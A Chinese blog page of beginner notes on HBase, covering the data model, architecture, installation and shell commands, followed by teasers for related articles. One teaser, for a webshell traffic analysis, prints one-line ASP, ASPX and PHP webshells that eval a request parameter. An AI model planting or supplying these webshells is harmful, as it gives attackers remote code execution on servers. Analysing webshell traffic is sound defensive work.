大数据之HBase

news2024/11/26 13:31:47

HBase介绍

  • Apache的三篇论文,GFS谷歌文件系统->HDFS;MR -> MR ; BigTable ->HBase;
  • HBase是hadoop数据库,一种分布式、可扩展的大数据NoSQL数据库之一。
  • 适合对于大量数据进行随机、实时的读写操作

HBase数据模型

  1. Bigtable是一个稀疏的(如果某个列没有值,那么这个列直接不维护,传统的关系型数据库会维护一个null值)、分布式的、持久的多维(维度信息主要保存在key中,value一般是单纯的值)排序map
  2. 改映射由行键、列键和时间戳索引组成;映射的每个值都是一个字节数组。
  3. 用户将数据行存储在带标签的表中,数据行具有可排序的键和任意数量的列。
  4. 数据模型的关键在于稀疏、分布式、多维、排序的映射

HBase逻辑结构

在这里插入图片描述

  • row_key按照字典序排序,数据存储整体有序,存储的数据都是字节数据
  • 所有列必须在列族的内部,没有单独的列
  • 没有数据的部分,对于该行数据来说,直接没有该列,也不存储null值。

在这里插入图片描述

  • 划分列族的好处是为了方便存储,将同一列族的数据存储到一起
  • 每个region每个列族划分的区域称为一个store

HBase物理存储结构

在这里插入图片描述

  • 同一row_key,同一列族,同一列的数据根据时间戳排序
  • 根据时间戳来区分数据的版本,一般保留最新版本

数据模型术语

  • NameSpace命名空间
    • hbase
    • default
  • Table: 定义表时只需要声明列族即可,具体的列可以动态、按需指定
  • Row: 由一个RowKey和多个Column组成,数据是按照rowkey的字典序存储的,查询数据只能根据rowkey检索,所以rowkey的设计十分重要。
  • Column: 列族:列
  • Time Stamp: 用于标识数据的不同版本
  • Cell = rowkey + column family + column qualifier + timestamp 唯一确定的单元

HBase基础架构

在这里插入图片描述

  • Master
    • master通过监控region server是否正常运行
    • master负责所有元数据的变化
    • 监控执行region的故障转移和拆分线程
  • RegionServer
    • 负责数据Cell的处理
    • 在执行区域的拆分和合并时,由RegionServer来实际执行
  • HDFS: 保证数据存储的可靠

HBase的安装

  1. 配置环境变量
  2. vim hbase-env.sh, 126行,改为用外置的zookeeper。
  3. vim hbase-site.xml文件,改为分布式集群,告诉集群zookeeper的地址,数据存储位置,wal(写前日志)
  4. 端口号默认为16010

时间同步问题

  1. 如果RegionServer和Master的时间超过30s,就会触发ClockOutOfSyncException

HBase Shell基本操作

  1. hbase shell, 启动一个hbase shell
  2. help 命令名/ 组名 查看所有命令
  3. ddl命令
    • 查看所有的表:list
    • 建表:create ‘mydb:t1’, {name=>‘cf1’, version=>3}
      • 简写:create t2, ‘col1’, ‘col2’
    • 查看表的详情: describe ‘mydb:t1’ , 可以简写为desc
    • 修改表:
      • alter ‘t2’ , {name=>‘cf1’,version=>3}, ‘cf4’
      • alter ‘t2’ ‘delete’ => ‘cf2’
    • 删除表: drop ‘t2’,删除前需要先禁用表disable ‘t2’, 之后再删除
    • 是否存在exists ‘t1’
    • 查看表的region信息:list_regions ‘t1’
  4. namespace命令
    • 查看所有的namespace: list_namespace
    • 查看指定namespace下面的表:list_namespace_tables ‘hbase’; 里面有meta和namespace两张表
    • 创建一个数据库:create_namespace ‘mydb’
    • 查看数据库详情:descrbe_namespace ‘mydb’
    • 修改namespace: alter_namespace ‘mydb1’ , {method = ‘set’, ‘author’=>‘wyh’}
    • 删除namespace属性: alter_namespace ‘mydb1’ ,{method=‘unset’, name=>‘author’}
  5. dml命令(数据的增删改查 )
    • 插入数据:put ‘t1’ ‘1001’, ‘cf1:name’, ‘zhangsan’
    • 查询数据:get ‘t1’ ‘1001’
    • 扫描数据:san ‘t1’ 扫描表中所有的数据
    • 修改数据: put ‘t1’ ‘1001’ ‘cf1:name’, ‘zhangxiaosan’
    • 删除数据:delete ‘t1’ , ‘1001’, ‘cf1:name’; truncate命令是直接删除文件,不是打标记

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1267402.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023.11.25 python常用数据集信息查看命令

2023.11.25 python常用数据集信息查看命令 在对数据集进行处理前一般需要对数据集先进行一个基本的观察,根据观察结果和经验确定处理方式。以kaggle员工离职数据集为例进行操作。 打印前5条数据 # 导入包 import pandas as pd# 读入数据 df pd.read_csv(HR_comm…

抖音本地生活服务商申请要多久审核通过?

近年来,随着互联网的普及和社交媒体的兴起,本地生活服务行业也迎来了巨大的发展机遇。作为最受欢迎的短视频平台之一,抖音也不例外。抖音本地生活服务商申请要多久审核通过?这是许多想要加入抖音本地服务行业的人们最关心的问题之…

Redis之秒杀系统

目录 Redis 秒杀 Mysql数据库设计 Mysql秒杀实现 MysqlRedis秒杀实现 秒杀是一种高并发场景,通常指的是在短时间内(秒级别)有大量用户同时访问某个商品或服务,争相抢购的情景。在这种情况下,系统需要处理大量并发请…

vue+jsonp编写可导出html的模版,可通过外部改json动态更新页面内容

效果 导出后文件结果如图所示,点击Index.html即可查看页面,页面所有数据由report.json控制,修改report.json内容即可改变index.html展示内容 具体实现 1. 编写数据存储的json文件 在index.html所在的public页面新建report.json文件&#xff…

Webshell流量分析

Webshell流量分析 常见的一句话木马: asp一句话 <%eval request("pass")%> aspx一句话 <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> php一句话 <?php @eval($_POST["pass&…

Java大型智慧工地APP云平台源码带AI智能识别功能

智慧工地为建筑全生命周期赋能&#xff0c;用创新的可视化与智能化方法&#xff0c;降低成本&#xff0c;创造价值。 一、智慧工地APP概述 智慧工地”立足于互联网&#xff0c;采用云计算&#xff0c;大数据和物联网等技术手段&#xff0c;针对当前建筑行业的特点&#xff0c;…

temu的产品发布后在哪里显示

temu是一款备受瞩目的产品&#xff0c;其发布后引起了广泛的关注。但是&#xff0c;很多人对于temu产品发布后在哪里显示存在疑惑。本文将深入探讨temu产品的展示方式和关键特点&#xff0c;帮助读者更好地了解temu产品在发布后的展示位置。 先给大家推荐一款拼多多/temu运营工…

VsCode中使用功能vite创建vue3+js项目报错

VsCode中使用功能vite创建vue3js项目报错 VsCode中使用功能vite创建vue3js项目import模块报错如下处理方法 VsCode中使用功能vite创建vue3js项目import模块报错如下 处理方法 在项目根目录新建jsconfig.json {"compilerOptions": {"baseUrl": "./&q…

如何快速上手一个自己不太熟悉的新项目?

一.熟悉新项目的步骤 第一步:了解业务 技术本身就是为了业务而服务&#xff0c;只有首先搞清楚了业务之后才真正算是步入了这个项目的大门。因此&#xff0c;要先搞清新项目&#xff1a; 是做什么的&#xff1f; 主要面向什么人群使用&#xff1f;主要提供了哪些功能&#x…

hugegraph-server安装部署(docker)

1、安装docker不说了&#xff0c;可以直接看我文章一键安装docker https://blog.csdn.net/qq_41060647/article/details/131568289?spm1001.2014.3001.5502 2、一个docker-compose文件解决。 如果不使用mysql&#xff0c;可以将docker-compose.yml文件中的mysql配置修改为其他…

关于我司在上海物联网行业协会展厅展示项目案例

1 项目背景 上海市物联网行业协会&#xff08;SIOT&#xff09;是由本市物联网行业同业企业及其他相关经济组织自愿组成、实行行业服务和自律管理的非营利性社会团体法人&#xff0c;于2012年&#xff0c;经上海市经济和信息化委同意&#xff0c;在上海市社团局登记成立。 本…

数据科学新招:Python揭秘Prometheus接口

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 在现代云原生应用的监控体系中&#xff0c;Prometheus无疑是一颗璀璨的明星&#xff0c;而Python则是一门多才多艺的编程语言。将它们结合&#xff0c;通过Python读取Prometheus接口数据&#xff0c;成为了实时监…

什么是美颜sdk?集成第三方美颜sdk的步骤

本文将深入探讨如何集成第三方美颜sdk&#xff0c;为直播平台引入更先进、更具吸引力的美颜特效。 第一步&#xff1a;选择合适的第三方美颜sdk 在开始集成美颜sdk之前&#xff0c;首要任务是选择适合自己直播平台需求的第三方美颜sdk。不同的sdk可能具有不同的特色和性能&a…

Modbus RTU、Modbus 库函数

Modbus RTU 与 Modbus TCP 的区别 一般在工业场景中&#xff0c;使用 Modbus RTU 的场景更多一些&#xff0c;Modbus RTU 基于串行协议进行收发数据&#xff0c;包括 RS232/485 等工业总线协议。采用主从问答式&#xff08;master / slave&#xff09;通信。 与 Modbus TCP 不…

软件测评中心▏软件集成测试和功能测试之间的区别和联系简析

软件集成测试是在软件开发周期的后期阶段进行的测试活动&#xff0c;旨在验证系统各个组件之间的接口和交互是否正常工作。而功能测试是一种验证软件系统是否按照需求规格说明书所规定的功能进行正确实现的测试。接下来&#xff0c;我们来分别探讨一下软件集成测试和功能测试有…

可以在电脑桌面展示工作计划表的软件

很多上班族都表示自己在工作时&#xff0c;会面临大量且复杂的工作任务&#xff0c;这时候就会拖延工作&#xff0c;或者感觉时间不够用&#xff0c;所以需要有明确的工作计划来指导自己如何分类时间和精力&#xff0c;确保每项工作任务都能够按时完成。如果需要制定每天的工作…

mysql bin-log日志导出

一、mysql bin-log简介 1.1 什么是bin-log&#xff1f; MySQL bin-log是二进制日志文件&#xff0c;用于记录MySQL数据库中所有更改操作&#xff08;如插入、更新、删除等&#xff09;的详细信息。bin-log文件由MySQL服务器自动创建和维护&#xff0c;并记录了每个更改操作的…

JS:获取当前日期是本年度的第几周

问题 根据当前的日期&#xff08;比如年月日&#xff09;&#xff0c;来得到当前日期属于本年度的第几周 解决 代码&#xff1a; // 获取当前日期是本年的第几周 //参数&#xff1a; a为年 b为月 c为日 function getYearWeek(a, b, c) {var date1 new Date(a, parseInt(b)…

沈阳互联网医院|互联网医院系统|线上医疗发展现状

互联网医院系统已经成为了现代医疗行业中的新趋势&#xff0c;它不仅提供了线上诊疗、药品配送、在线咨询等服务&#xff0c;还为患者提供了更加便捷的医疗服务。那么&#xff0c;互联网医院系统的优势是什么呢&#xff1f; 1、互联网医院系统提供了线上诊疗服务&#xff0c;患…

给企业做公众号运营你都有哪些宝贵经验?

运营企业公众号需要长期的坚持和不断的创新&#xff0c;如何运营好一个企业公众号&#xff0c;使其成为企业与受众互动、传递价值、提升品牌形象的平台&#xff0c;是许多企业所面临的挑战。但只要不断学习&#xff0c;总结经验&#xff0c;就一定能够找到适合自己企业的公众号…